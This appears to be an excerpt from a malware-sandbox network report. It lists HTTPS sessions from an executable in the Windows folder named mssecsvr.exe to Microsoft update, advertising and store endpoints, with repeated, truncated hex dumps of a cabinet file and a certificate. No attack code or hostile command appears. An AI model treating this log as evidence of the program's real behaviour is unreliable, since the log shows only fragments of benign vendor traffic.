2022-07-20 11:24:50 UTC	7531	IN	Data Raw: 4d 53 43 46 00 00 00 00 a5 42 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 0b 87 00 00 14 00 00 00 00 00 10 00 a5 42 00 00 80 49 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 26 64 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 5a 10 09 f7 39 42 26 64 43 4b ed bd 05 54 5c 5b ba 2d 5c 14 ee ee 1a 08 6e 85 3b 04 0f 1a dc 25 b8 bb 04 97 c2 83 07 09 ee 4e 70 77 09 4e 70 82 05 08 ae 09 ae 21 81 07 c9 91 f4 e9 d3 dd b7 ef ff fa bf fd ee e8 1a 83 aa bd 74 af b5 f6 fa d6 fc be b9 e7 18 c8 29 8b 4a 00 ee 3f ed 04 80 ef 1f b1 1f 3f 00 48 08 08 00 04 00 0a a0 cd 05 00 60 7d cf 41 fb 5e c7 5c 0a f0 db c7 f8 fe ef a1 56 08 3b e0 a7 8f 1f c0 c4 d6 d5 c2 d1 ce d6 c6 c4 d6 99 c9 cd c6 1a e0 3a 60 5b Data Ascii: MSCFBDBId&denvironment.cabZ9B&dCKT\[-\n;%NpwNp!t)J??H`}A^\V;:`[
2022-07-20 11:24:50 UTC	7547	IN	Data Raw: 2c d5 6c a1 e1 97 4f eb 44 d5 d7 31 d1 59 e6 ed 3c 5c f9 e0 bb 34 e4 d4 f6 e5 cf 75 58 d3 7b f1 91 6f 63 a0 cc f4 c4 a6 ab e5 3a e6 92 72 35 5d 84 ce 74 71 d7 d8 f2 ba fb 90 60 ef 04 55 ed e4 64 b9 d4 aa be 35 95 a4 1a 76 94 4a 12 1a 5e d7 70 59 b4 d9 77 7c b8 ec c5 58 bc 81 dc c9 78 5c a5 6d e9 71 c6 e6 a6 15 ed 41 c6 a2 49 2e 32 71 f5 02 07 81 2e 44 1d 42 3d 03 1e a8 78 29 eb e9 65 da ba 86 6b 80 8f 49 2f fa a5 f3 e4 23 e2 fa 9b 83 90 04 f1 75 8a 79 10 c7 93 b7 8f fd 33 4b 03 4f 6b 0f 28 5b b8 32 4e 01 84 ef 42 1d 15 9c 9d 65 dd ca 7a 61 a0 dc bc b3 99 e5 39 00 ce 79 0a 31 d9 aa a7 56 81 87 c8 58 ac 9e 24 94 e7 37 68 95 73 e7 82 04 da c4 25 9d d2 29 a9 f3 9e 78 2e 57 90 a6 a6 93 ee e7 d9 05 1d 46 b8 6c d4 8d 70 2a 62 4a f8 14 89 cc 10 48 bd 5d 96 50 46 Data Ascii: ,lOD1Y<\4uX{oc:r5]tq`Ud5vJ^pYw\|Xx\mqAI.2q.DB=x)ekI/#uy3KOk([2NBeza9y1VX$7hs%)x.WFlp*bJH]PF
2022-07-20 11:24:50 UTC	7563	IN	Data Raw: 00 00 00 15 c5 e7 6b 9e 02 9b 49 99 00 00 00 00 00 15 30 0d 06 09 2a 86 48 86 f7 0d 01 01 0b 05 00 30 81 88 31 0b 30 09 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d 6f 6e 64 31 1e 30 1c 06 03 55 04 0a 13 15 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 61 74 69 6f 6e 31 32 30 30 06 03 55 04 03 13 29 4d 69 63 72 6f 73 6f 66 74 20 52 6f 6f 74 20 43 65 72 74 69 66 69 63 61 74 65 20 41 75 74 68 6f 72 69 74 79 20 32 30 31 30 30 1e 17 0d 32 31 30 39 33 30 31 38 32 32 32 35 5a 17 0d 33 30 30 39 33 30 31 38 33 32 32 35 5a 30 7c 31 0b 30 09 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d Data Ascii: kI0*H010UUS10UWashington10URedmond10UMicrosoft Corporation1200U)Microsoft Root Certificate Authority 20100210930182225Z300930183225Z0\|10UUS10UWashington10URedm

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
71	192.168.2.7	50982	20.31.108.18	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 11:24:50 UTC	7528	OUT	POST /v3/Delivery/Events/Impression HTTP/1.1 Accept-Encoding: gzip, deflate User-Agent: WindowsShellClient/9.0.40929.0 (Windows) Content-Length: 2788 Content-Type: text/plain; charset=UTF-8 Host: arc.msn.com Connection: Keep-Alive Cache-Control: no-cache
2022-07-20 11:24:50 UTC	7528	OUT	Data Raw: 50 49 44 3d 34 32 35 31 30 36 35 35 38 26 54 49 44 3d 37 30 30 33 34 32 30 38 35 26 43 49 44 3d 31 32 38 30 30 30 30 30 30 30 30 31 33 39 32 37 32 39 26 42 49 44 3d 31 38 35 33 33 34 38 36 36 30 26 50 47 3d 50 43 30 30 30 50 30 46 52 35 2e 30 30 30 30 30 30 30 49 51 38 26 54 50 49 44 3d 34 32 35 31 30 36 35 35 38 26 52 45 51 41 53 49 44 3d 30 38 36 38 30 46 44 30 33 46 43 36 34 43 34 34 42 39 33 43 38 35 43 38 32 41 35 39 31 43 44 46 26 41 53 49 44 3d 64 34 64 38 33 66 37 64 30 63 62 61 34 30 64 32 38 35 36 64 38 36 34 61 65 31 61 64 35 39 37 39 26 54 49 4d 45 3d 32 30 32 32 30 37 32 30 54 32 30 32 34 32 30 5a 26 53 4c 4f 54 3d 32 26 52 45 51 54 3d 32 30 32 32 30 37 32 30 54 31 31 32 33 33 32 26 4d 41 5f 53 63 6f 72 65 3d 32 26 4c 4f 43 41 4c 49 44 3d 77 Data Ascii: PID=425106558&TID=700342085&CID=128000000001392729&BID=1853348660&PG=PC000P0FR5.0000000IQ8&TPID=425106558&REQASID=08680FD03FC64C44B93C85C82A591CDF&ASID=d4d83f7d0cba40d2856d864ae1ad5979&TIME=20220720T202420Z&SLOT=2&REQT=20220720T112332&MA_Score=2&LOCALID=w
2022-07-20 11:24:50 UTC	7566	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/xml; charset=utf-8 Expires: Mon, 01 Jan 0001 00:00:00 GMT Server: Microsoft-IIS/10.0 ARC-RSP-DBG: [] X-AspNet-Version: 4.0.30319 X-Powered-By: ASP.NET Strict-Transport-Security: max-age=31536000; includeSubDomains Date: Wed, 20 Jul 2022 11:24:50 GMT Connection: close Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
72	192.168.2.7	50986	52.152.110.14	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 11:24:51 UTC	7567	OUT	GET /SLS/%7B9482F4B4-E343-43B6-B170-9A65BC822C77%7D/x64/10.0.17134.1/0?CH=17&L=en-US&P=&PT=0x30&WUA=10.0.17134.1&MK=NxbWtnuX4ce7cnL&MD=AtV6mZ7V HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/1.81 Host: sls.update.microsoft.com
2022-07-20 11:24:51 UTC	7568	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "AIP0MQaCzKwF3Wv0wR/DNwKKGDF7CierFQWSKotQHD4=_1440" MS-CorrelationId: a4d164c7-a7eb-4899-a97e-18623c1f6f9d MS-RequestId: baba7b88-ae19-45e0-971a-0143f0f723ef MS-CV: Ap6cVcU8R0qxBsLQ.0 X-Microsoft-SLSClientCache: 1440 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Wed, 20 Jul 2022 11:24:50 GMT Connection: close Content-Length: 35877
2022-07-20 11:24:51 UTC	7568	IN	Data Raw: 4d 53 43 46 00 00 00 00 a5 42 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 0b 87 00 00 14 00 00 00 00 00 10 00 a5 42 00 00 80 49 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 26 64 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 5a 10 09 f7 39 42 26 64 43 4b ed bd 05 54 5c 5b ba 2d 5c 14 ee ee 1a 08 6e 85 3b 04 0f 1a dc 25 b8 bb 04 97 c2 83 07 09 ee 4e 70 77 09 4e 70 82 05 08 ae 09 ae 21 81 07 c9 91 f4 e9 d3 dd b7 ef ff fa bf fd ee e8 1a 83 aa bd 74 af b5 f6 fa d6 fc be b9 e7 18 c8 29 8b 4a 00 ee 3f ed 04 80 ef 1f b1 1f 3f 00 48 08 08 00 04 00 0a a0 cd 05 00 60 7d cf 41 fb 5e c7 5c 0a f0 db c7 f8 fe ef a1 56 08 3b e0 a7 8f 1f c0 c4 d6 d5 c2 d1 ce d6 c6 c4 d6 99 c9 cd c6 1a e0 3a 60 5b Data Ascii: MSCFBDBId&denvironment.cabZ9B&dCKT\[-\n;%NpwNp!t)J??H`}A^\V;:`[
2022-07-20 11:24:51 UTC	7584	IN	Data Raw: 2c d5 6c a1 e1 97 4f eb 44 d5 d7 31 d1 59 e6 ed 3c 5c f9 e0 bb 34 e4 d4 f6 e5 cf 75 58 d3 7b f1 91 6f 63 a0 cc f4 c4 a6 ab e5 3a e6 92 72 35 5d 84 ce 74 71 d7 d8 f2 ba fb 90 60 ef 04 55 ed e4 64 b9 d4 aa be 35 95 a4 1a 76 94 4a 12 1a 5e d7 70 59 b4 d9 77 7c b8 ec c5 58 bc 81 dc c9 78 5c a5 6d e9 71 c6 e6 a6 15 ed 41 c6 a2 49 2e 32 71 f5 02 07 81 2e 44 1d 42 3d 03 1e a8 78 29 eb e9 65 da ba 86 6b 80 8f 49 2f fa a5 f3 e4 23 e2 fa 9b 83 90 04 f1 75 8a 79 10 c7 93 b7 8f fd 33 4b 03 4f 6b 0f 28 5b b8 32 4e 01 84 ef 42 1d 15 9c 9d 65 dd ca 7a 61 a0 dc bc b3 99 e5 39 00 ce 79 0a 31 d9 aa a7 56 81 87 c8 58 ac 9e 24 94 e7 37 68 95 73 e7 82 04 da c4 25 9d d2 29 a9 f3 9e 78 2e 57 90 a6 a6 93 ee e7 d9 05 1d 46 b8 6c d4 8d 70 2a 62 4a f8 14 89 cc 10 48 bd 5d 96 50 46 Data Ascii: ,lOD1Y<\4uX{oc:r5]tq`Ud5vJ^pYw\|Xx\mqAI.2q.DB=x)ekI/#uy3KOk([2NBeza9y1VX$7hs%)x.WFlp*bJH]PF
2022-07-20 11:24:51 UTC	7600	IN	Data Raw: 00 00 00 15 c5 e7 6b 9e 02 9b 49 99 00 00 00 00 00 15 30 0d 06 09 2a 86 48 86 f7 0d 01 01 0b 05 00 30 81 88 31 0b 30 09 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d 6f 6e 64 31 1e 30 1c 06 03 55 04 0a 13 15 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 61 74 69 6f 6e 31 32 30 30 06 03 55 04 03 13 29 4d 69 63 72 6f 73 6f 66 74 20 52 6f 6f 74 20 43 65 72 74 69 66 69 63 61 74 65 20 41 75 74 68 6f 72 69 74 79 20 32 30 31 30 30 1e 17 0d 32 31 30 39 33 30 31 38 32 32 32 35 5a 17 0d 33 30 30 39 33 30 31 38 33 32 32 35 5a 30 7c 31 0b 30 09 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d Data Ascii: kI0*H010UUS10UWashington10URedmond10UMicrosoft Corporation1200U)Microsoft Root Certificate Authority 20100210930182225Z300930183225Z0\|10UUS10UWashington10URedm

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
73	192.168.2.7	50991	20.238.103.94	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 11:24:51 UTC	7567	OUT	GET /v1/a/installComplete?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106558&cid=128000000001392729&tid=700342085&reqasid=542097c333a74271ba02f5787969d542&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid=&muid=&persid=&itemId=9WZDNCRFHWD2&skuId=0010&installKind=RedirectTile&ctid=store-curated-postoobe&bSrc=i.t&asid=d4d83f7d0cba40d2856d864ae1ad5979&time=20220720T202408Z HTTP/1.1 Accept-Encoding: gzip, deflate User-Agent: WindowsShellClient/9.0.40929.0 (Windows) Host: ris.api.iris.microsoft.com Connection: Keep-Alive
2022-07-20 11:24:51 UTC	7568	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 request-id: 47c9f189-b377-4774-a9ce-422d54e02556 Date: Wed, 20 Jul 2022 11:24:50 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
74	192.168.2.7	50994	20.238.103.94	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 11:24:51 UTC	7604	OUT	GET /v1/a/opportunity?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106558&cid=128000000001392729&tid=700342085&reqasid=542097c333a74271ba02f5787969d542&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid=&muid=&persid=&itemId=9NBLGGGZM6WM&skuId=0010&installKind=RedirectTile&ctid=store-curated-postoobe&bSrc=i.t&asid=d4d83f7d0cba40d2856d864ae1ad5979&time=20220720T202410Z HTTP/1.1 Accept-Encoding: gzip, deflate User-Agent: WindowsShellClient/9.0.40929.0 (Windows) Host: ris.api.iris.microsoft.com Connection: Keep-Alive
2022-07-20 11:24:51 UTC	7604	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 request-id: 75ec653b-ae2c-4125-ac73-9096d19175e5 Date: Wed, 20 Jul 2022 11:24:51 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
75	192.168.2.7	51007	20.238.103.94	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 11:24:51 UTC	7604	OUT	GET /v1/a/opportunity?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106558&cid=128000000001392729&tid=700342085&reqasid=542097c333a74271ba02f5787969d542&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid=&muid=&persid=&itemId=9WZDNCRFHWD2&skuId=0010&installKind=RedirectTile&ctid=store-curated-postoobe&bSrc=i.t&asid=d4d83f7d0cba40d2856d864ae1ad5979&time=20220720T202410Z HTTP/1.1 Accept-Encoding: gzip, deflate User-Agent: WindowsShellClient/9.0.40929.0 (Windows) Host: ris.api.iris.microsoft.com Connection: Keep-Alive
2022-07-20 11:24:51 UTC	7605	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 request-id: f993a3fd-ffd5-4b71-a008-6278f7c3a5de Date: Wed, 20 Jul 2022 11:24:51 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
76	192.168.2.7	51022	20.238.103.94	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 11:24:51 UTC	7605	OUT	GET /v1/a/opportunity?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106558&cid=128000000001392729&tid=700342085&reqasid=542097c333a74271ba02f5787969d542&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid=&muid=&persid=&itemId=9NH2GPH4JZS4&skuId=0010&installKind=Install&ctid=store-curated-postoobe&bSrc=i.t&asid=d4d83f7d0cba40d2856d864ae1ad5979&time=20220720T202411Z HTTP/1.1 Accept-Encoding: gzip, deflate User-Agent: WindowsShellClient/9.0.40929.0 (Windows) Host: ris.api.iris.microsoft.com Connection: Keep-Alive
2022-07-20 11:24:52 UTC	7606	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 request-id: 155528ae-277e-46d7-9540-6e021ddbfd6d Date: Wed, 20 Jul 2022 11:24:51 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
77	192.168.2.7	51026	20.54.89.106	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 11:24:52 UTC	7606	OUT	GET /SLS/%7B9482F4B4-E343-43B6-B170-9A65BC822C77%7D/x64/10.0.17134.1/0?CH=17&L=en-US&P=&PT=0x30&WUA=10.0.17134.1&MK=NxbWtnuX4ce7cnL&MD=AtV6mZ7V HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/1.81 Host: sls.update.microsoft.com
2022-07-20 11:24:52 UTC	7607	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "AIP0MQaCzKwF3Wv0wR/DNwKKGDF7CierFQWSKotQHD4=_1440" MS-CorrelationId: 5fe310e5-465d-4511-8a7c-b6882bfb832f MS-RequestId: 4a76adc4-15a5-4d43-a6b8-d9bba845329a MS-CV: OZcVYZ362Ue1Fep1.0 X-Microsoft-SLSClientCache: 1440 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Wed, 20 Jul 2022 11:24:51 GMT Connection: close Content-Length: 35877
2022-07-20 11:24:52 UTC	7607	IN	Data Raw: 4d 53 43 46 00 00 00 00 a5 42 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 0b 87 00 00 14 00 00 00 00 00 10 00 a5 42 00 00 80 49 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 26 64 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 5a 10 09 f7 39 42 26 64 43 4b ed bd 05 54 5c 5b ba 2d 5c 14 ee ee 1a 08 6e 85 3b 04 0f 1a dc 25 b8 bb 04 97 c2 83 07 09 ee 4e 70 77 09 4e 70 82 05 08 ae 09 ae 21 81 07 c9 91 f4 e9 d3 dd b7 ef ff fa bf fd ee e8 1a 83 aa bd 74 af b5 f6 fa d6 fc be b9 e7 18 c8 29 8b 4a 00 ee 3f ed 04 80 ef 1f b1 1f 3f 00 48 08 08 00 04 00 0a a0 cd 05 00 60 7d cf 41 fb 5e c7 5c 0a f0 db c7 f8 fe ef a1 56 08 3b e0 a7 8f 1f c0 c4 d6 d5 c2 d1 ce d6 c6 c4 d6 99 c9 cd c6 1a e0 3a 60 5b Data Ascii: MSCFBDBId&denvironment.cabZ9B&dCKT\[-\n;%NpwNp!t)J??H`}A^\V;:`[
2022-07-20 11:24:52 UTC	7623	IN	Data Raw: 2c d5 6c a1 e1 97 4f eb 44 d5 d7 31 d1 59 e6 ed 3c 5c f9 e0 bb 34 e4 d4 f6 e5 cf 75 58 d3 7b f1 91 6f 63 a0 cc f4 c4 a6 ab e5 3a e6 92 72 35 5d 84 ce 74 71 d7 d8 f2 ba fb 90 60 ef 04 55 ed e4 64 b9 d4 aa be 35 95 a4 1a 76 94 4a 12 1a 5e d7 70 59 b4 d9 77 7c b8 ec c5 58 bc 81 dc c9 78 5c a5 6d e9 71 c6 e6 a6 15 ed 41 c6 a2 49 2e 32 71 f5 02 07 81 2e 44 1d 42 3d 03 1e a8 78 29 eb e9 65 da ba 86 6b 80 8f 49 2f fa a5 f3 e4 23 e2 fa 9b 83 90 04 f1 75 8a 79 10 c7 93 b7 8f fd 33 4b 03 4f 6b 0f 28 5b b8 32 4e 01 84 ef 42 1d 15 9c 9d 65 dd ca 7a 61 a0 dc bc b3 99 e5 39 00 ce 79 0a 31 d9 aa a7 56 81 87 c8 58 ac 9e 24 94 e7 37 68 95 73 e7 82 04 da c4 25 9d d2 29 a9 f3 9e 78 2e 57 90 a6 a6 93 ee e7 d9 05 1d 46 b8 6c d4 8d 70 2a 62 4a f8 14 89 cc 10 48 bd 5d 96 50 46 Data Ascii: ,lOD1Y<\4uX{oc:r5]tq`Ud5vJ^pYw\|Xx\mqAI.2q.DB=x)ekI/#uy3KOk([2NBeza9y1VX$7hs%)x.WFlp*bJH]PF
2022-07-20 11:24:52 UTC	7639	IN	Data Raw: 00 00 00 15 c5 e7 6b 9e 02 9b 49 99 00 00 00 00 00 15 30 0d 06 09 2a 86 48 86 f7 0d 01 01 0b 05 00 30 81 88 31 0b 30 09 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d 6f 6e 64 31 1e 30 1c 06 03 55 04 0a 13 15 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 61 74 69 6f 6e 31 32 30 30 06 03 55 04 03 13 29 4d 69 63 72 6f 73 6f 66 74 20 52 6f 6f 74 20 43 65 72 74 69 66 69 63 61 74 65 20 41 75 74 68 6f 72 69 74 79 20 32 30 31 30 30 1e 17 0d 32 31 30 39 33 30 31 38 32 32 32 35 5a 17 0d 33 30 30 39 33 30 31 38 33 32 32 35 5a 30 7c 31 0b 30 09 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d Data Ascii: kI0*H010UUS10UWashington10URedmond10UMicrosoft Corporation1200U)Microsoft Root Certificate Authority 20100210930182225Z300930183225Z0\|10UUS10UWashington10URedm

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
78	192.168.2.7	51029	20.238.103.94	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 11:24:52 UTC	7606	OUT	GET /v1/a/opportunity?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106558&cid=128000000001392729&tid=700342085&reqasid=542097c333a74271ba02f5787969d542&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid=&muid=&persid=&itemId=9NBLGGH6J6VK&skuId=0010&installKind=RedirectTile&ctid=store-curated-postoobe&bSrc=i.t&asid=d4d83f7d0cba40d2856d864ae1ad5979&time=20220720T202412Z HTTP/1.1 Accept-Encoding: gzip, deflate User-Agent: WindowsShellClient/9.0.40929.0 (Windows) Host: ris.api.iris.microsoft.com Connection: Keep-Alive
2022-07-20 11:24:52 UTC	7642	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 request-id: c2d99dfb-a0d6-4074-8813-05c3e55dfacd Date: Wed, 20 Jul 2022 11:24:51 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
79	192.168.2.7	51033	52.242.101.226	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 11:24:52 UTC	7642	OUT	GET /SLS/%7B9482F4B4-E343-43B6-B170-9A65BC822C77%7D/x64/10.0.17134.1/0?CH=17&L=en-US&P=&PT=0x30&WUA=10.0.17134.1&MK=NxbWtnuX4ce7cnL&MD=AtV6mZ7V HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/1.81 Host: sls.update.microsoft.com
2022-07-20 11:24:53 UTC	7644	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "AIP0MQaCzKwF3Wv0wR/DNwKKGDF7CierFQWSKotQHD4=_1440" MS-CorrelationId: a16fd411-7643-45bb-bc45-b907cdc31967 MS-RequestId: 07b48f53-e900-46e6-a816-de2d7ffb8c4e MS-CV: K26hurgcikm05nuL.0 X-Microsoft-SLSClientCache: 1440 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Wed, 20 Jul 2022 11:24:52 GMT Connection: close Content-Length: 35877
2022-07-20 11:24:53 UTC	7644	IN	Data Raw: 4d 53 43 46 00 00 00 00 a5 42 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 0b 87 00 00 14 00 00 00 00 00 10 00 a5 42 00 00 80 49 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 26 64 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 5a 10 09 f7 39 42 26 64 43 4b ed bd 05 54 5c 5b ba 2d 5c 14 ee ee 1a 08 6e 85 3b 04 0f 1a dc 25 b8 bb 04 97 c2 83 07 09 ee 4e 70 77 09 4e 70 82 05 08 ae 09 ae 21 81 07 c9 91 f4 e9 d3 dd b7 ef ff fa bf fd ee e8 1a 83 aa bd 74 af b5 f6 fa d6 fc be b9 e7 18 c8 29 8b 4a 00 ee 3f ed 04 80 ef 1f b1 1f 3f 00 48 08 08 00 04 00 0a a0 cd 05 00 60 7d cf 41 fb 5e c7 5c 0a f0 db c7 f8 fe ef a1 56 08 3b e0 a7 8f 1f c0 c4 d6 d5 c2 d1 ce d6 c6 c4 d6 99 c9 cd c6 1a e0 3a 60 5b Data Ascii: MSCFBDBId&denvironment.cabZ9B&dCKT\[-\n;%NpwNp!t)J??H`}A^\V;:`[
2022-07-20 11:24:53 UTC	7660	IN	Data Raw: 2c d5 6c a1 e1 97 4f eb 44 d5 d7 31 d1 59 e6 ed 3c 5c f9 e0 bb 34 e4 d4 f6 e5 cf 75 58 d3 7b f1 91 6f 63 a0 cc f4 c4 a6 ab e5 3a e6 92 72 35 5d 84 ce 74 71 d7 d8 f2 ba fb 90 60 ef 04 55 ed e4 64 b9 d4 aa be 35 95 a4 1a 76 94 4a 12 1a 5e d7 70 59 b4 d9 77 7c b8 ec c5 58 bc 81 dc c9 78 5c a5 6d e9 71 c6 e6 a6 15 ed 41 c6 a2 49 2e 32 71 f5 02 07 81 2e 44 1d 42 3d 03 1e a8 78 29 eb e9 65 da ba 86 6b 80 8f 49 2f fa a5 f3 e4 23 e2 fa 9b 83 90 04 f1 75 8a 79 10 c7 93 b7 8f fd 33 4b 03 4f 6b 0f 28 5b b8 32 4e 01 84 ef 42 1d 15 9c 9d 65 dd ca 7a 61 a0 dc bc b3 99 e5 39 00 ce 79 0a 31 d9 aa a7 56 81 87 c8 58 ac 9e 24 94 e7 37 68 95 73 e7 82 04 da c4 25 9d d2 29 a9 f3 9e 78 2e 57 90 a6 a6 93 ee e7 d9 05 1d 46 b8 6c d4 8d 70 2a 62 4a f8 14 89 cc 10 48 bd 5d 96 50 46 Data Ascii: ,lOD1Y<\4uX{oc:r5]tq`Ud5vJ^pYw\|Xx\mqAI.2q.DB=x)ekI/#uy3KOk([2NBeza9y1VX$7hs%)x.WFlp*bJH]PF
2022-07-20 11:24:53 UTC	7676	IN	Data Raw: 00 00 00 15 c5 e7 6b 9e 02 9b 49 99 00 00 00 00 00 15 30 0d 06 09 2a 86 48 86 f7 0d 01 01 0b 05 00 30 81 88 31 0b 30 09 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d 6f 6e 64 31 1e 30 1c 06 03 55 04 0a 13 15 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 61 74 69 6f 6e 31 32 30 30 06 03 55 04 03 13 29 4d 69 63 72 6f 73 6f 66 74 20 52 6f 6f 74 20 43 65 72 74 69 66 69 63 61 74 65 20 41 75 74 68 6f 72 69 74 79 20 32 30 31 30 30 1e 17 0d 32 31 30 39 33 30 31 38 32 32 32 35 5a 17 0d 33 30 30 39 33 30 31 38 33 32 32 35 5a 30 7c 31 0b 30 09 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d Data Ascii: kI0*H010UUS10UWashington10URedmond10UMicrosoft Corporation1200U)Microsoft Root Certificate Authority 20100210930182225Z300930183225Z0\|10UUS10UWashington10URedm

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
8	192.168.2.7	49733	23.211.6.115	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
